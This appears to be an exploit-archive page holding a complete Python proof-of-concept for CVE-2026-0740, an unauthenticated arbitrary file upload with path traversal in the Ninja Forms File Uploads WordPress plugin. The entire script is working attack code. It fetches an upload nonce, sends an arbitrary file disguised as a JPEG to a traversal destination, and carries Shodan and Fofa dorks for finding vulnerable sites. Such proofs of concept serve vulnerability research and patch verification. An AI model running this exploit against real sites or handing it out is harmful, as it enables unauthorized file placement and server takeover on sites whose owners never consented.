5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2026-0740.py PY
#!/usr/bin/env python3
"""
===============================================================================
Author:       Sélim Lanouar (@whattheslime)
CVE:          CVE-2026-0740
CVSS:         9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWE:          CWE-434
Date:         2026-01-08
Finder:       Sélim Lanouar (@whattheslime)
Fofa:         body="nfpluginsettings.js?ver="
Shodan:       http.html:"nfpluginsettings.js?ver="
Severity:     Critical
Title:        Ninja Forms File Uploads <= 3.3.26 - Unauthenticated Arbitrary File Upload
Vendor URL:   https://ninjaforms.com/extensions/file-uploads/
Version:      <= 3.3.26
-------------------------------------------------------------------------------
Install:      python3 -m venv .venv && .venv/bin/pip install -r requirements.txt
Usage:        .venv/bin/python3 CVE-2026-0740.py -h
-------------------------------------------------------------------------------
References:   https://blog.lexfo.fr/ninja-forms-uploads_rce.html
              https://www.wordfence.com/blog/2026/04/50000-wordpress-sites-affected-by-arbitrary-file-upload-vulnerability-in-ninja-forms-file-upload-wordpress-plugin/
              https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2026/CVE-2026-0740.yaml
              https://github.com/advisories/GHSA-v8wq-rjpf-669f
              https://www.cve.org/CVERecord?id=CVE-2026-0740
===============================================================================
"""
import argparse
import pathlib
import random
import sys
from datetime import datetime
from functools import partialmethod
from urllib.parse import urljoin

import httpx
import socksio


# --------------------------------------------------------------- Constants ---

AGENT = (
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
    "(KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0"
)
TIMEOUT = 10
PROXY = None


# ------------------------------------------------------------------- Utils ---

class Logger:
    COLORS = {
        "error": 31,
        "success": 32,
        "warning": 33,
        "info": 34,
    }

    def log(self, level: str, scope: str, message: str, progress=False):
        color = self.COLORS[level]
        date, time = datetime.now().strftime("%Y-%m-%d %H:%M:%S").split(" ")
        end = "\r" if progress else "\n"

        sys.stderr.write(
            f"\r\033[{color}m[{date}] [{time}] [{level}] [{scope}]\033[0m "
            f"{message}{end}"
        )

    warning = partialmethod(log, "warning")
    error   = partialmethod(log, "error")
    success = partialmethod(log, "success")
    info    = partialmethod(log, "info")


def parse_args() -> argparse.Namespace:
    """
    Function to parse user arguments.
    """
    parser = argparse.ArgumentParser(
        description="CVE-2026-0740 - Ninja Forms File Uploads - Unauthenticated Arbitrary File Upload"
    )
    parser.add_argument(
        "-t", "--target", required=True, type=str,
        help="target url (e.g. http://target.com).",
    )
    parser.add_argument(
        "-f", "--file", required=True, type=pathlib.Path,
        help="file to upload.",
    )
    default_dest=pathlib.Path("../../../")
    parser.add_argument(
        "-d", "--dest", type=pathlib.Path, default=default_dest,
        help="destination filename via path traversal "
        f"(default: {default_dest}).",
    )
    parser.add_argument(
        "-x", "--proxy", type=str, default=PROXY,
        help=f"Proxy url (e.g. http://127.0.0.1:8080) (default: {PROXY!s}).",
    )
    parser.add_argument(
        "-H", "--headers", type=str, nargs="+", default=[],
        help="Custom headers (e.g. 'Header1: Value1' 'Header2: Value2').",
    )
    parser.add_argument(
        "--timeout", type=float, default=TIMEOUT,
        help=f"Set HTTP requests timeout (default: {TIMEOUT!s})."
    )

    return parser.parse_args()


# ----------------------------------------------------------------- Exploit ---

def exploit(
    logger: Logger,
    http_client: httpx.Client,
    target: str,
    file_path: pathlib.Path,
    dest_path: str | None
) -> bool:
    """
    Try exploit on one target.
    Return True if exploit succeeded, False otherwise.
    """
    ajax_url = urljoin(target, "/wp-admin/admin-ajax.php")

    # Avoid field_id starts with zero
    field_id = "".join(random.choices("123456789", k=16))
    try:
        # Step 1: Generate random field_id to create file upload nonce
        logger.info(target, f"Fetch nonce for random field_id: {field_id}...")
        data = {
            "action": "nf_fu_get_new_nonce",
            "field_id": field_id
        }
        response = http_client.post(ajax_url, data=data)
        if response.text == "0":
            logger.error(
                target,
                "Invalid ajax response: "
                "The plugin doesn't seem to be installed on the target site."
            )
            return False

        try:
            json_result = response.json()
        except ValueError:
            logger.error(
                target,
                "Non-JSON response, probably blocked by a WAF! "
                f"(Status: {response.status_code})"
            )
            return False

        if not json_result.get("success"):
            logger.warning(target, "Failed to get ninja-forms-upload nonce!")
            return False

        nonce = json_result["data"]["nonce"]
        logger.success(target, f"Got ninja-forms-upload nonce: {nonce}")

        # Step 2: Upload file
        files_key = f"files-{field_id}"

        if not dest_path:
            dest_path_str = file_path.name
        elif dest_path.is_dir():
            dest_path_str = str(dest_path / file_path.name)
        else:
            dest_path_str = str(dest_path)
        
        logger.info(
            target,
            f"Uploading {file_path.name} as {dest_path_str}"
            " via POST parameter..."
        )

        files = {
            files_key: ("image.jpg", file_path.read_bytes(), "image/jpeg")
        }

        data = {
            "action": "nf_fu_upload",
            "nonce": nonce,
            "form_id": field_id,
            "field_id": field_id,
            "image_jpg": dest_path_str
        }

        response = http_client.post(ajax_url, data=data, files=files)
        try:
            json_result = response.json()
        except ValueError:
            logger.error(
                target,
                "Non-JSON response, probably blocked by a WAF! "
                f"(Status: {response.status_code})"
            )
            return False

        if not json_result:
            logger.warning(target, f"Upload failed: {response.text}")
            return False
        
        if json_result.get("data") and json_result["data"].get("files"):
            uploaded_tmp_name = json_result["data"]["files"][0]["tmp_name"]
            if uploaded_tmp_name == dest_path_str:
                file_url = urljoin(
                    target,
                    f"/wp-content/uploads/ninja-forms/tmp/{dest_path_str}"
                )
                logger.success(target, f"File uploaded at: {file_url}")
                return True
            else:
                logger.warning(
                    target,
                    "File uploaded but returned unexpected filename: "
                    f"{uploaded_tmp_name}"
                )
                return False
        else:
            logger.info(target, "Exploit did not work.")
    except httpx.ReadTimeout:
        logger.error(target, "Request timed out!")
    except httpx.ConnectError as error:
        logger.error(target, f"Connection failed: {error!s}")
    except httpx.NetworkError as error:
        logger.error(target, f"Network communication error: {error!s}")
    except httpx.HTTPStatusError as error:
        logger.error(
            target, 
            f"Unexpected HTTP status {error.response.status_code}: "
            f"{error!s}"
        )
    except httpx.HTTPError as error:
        logger.error(target, f"HTTP client error: {error!s}")
    except socksio.exceptions.ProtocolError as error:
        logger.error(target, f"SOCKS protocol error: {error!s}")

    return False


# -------------------------------------------------------------------- Main ---

def main():
    """
    Program entry point.
    """
    args = parse_args()

    # Header parsing.
    headers_list = [["User-Agent", AGENT]]
    headers_list += [header.split(":", 1) for header in args.headers]
    headers = {header[0].strip(): header[1].strip() for header in headers_list}

    logger = Logger()

    if not args.file.is_file():
        logger.error("file_loading", f"File not found: {args.file}")
        return 1
    
    with httpx.Client(
        follow_redirects=False,
        headers=headers,
        proxy=args.proxy,
        verify=False,
        timeout=args.timeout
    ) as http_client:
        exploit(
            logger,
            http_client,
            args.target,
            args.file,
            args.dest
        )


if __name__ == "__main__":
    main()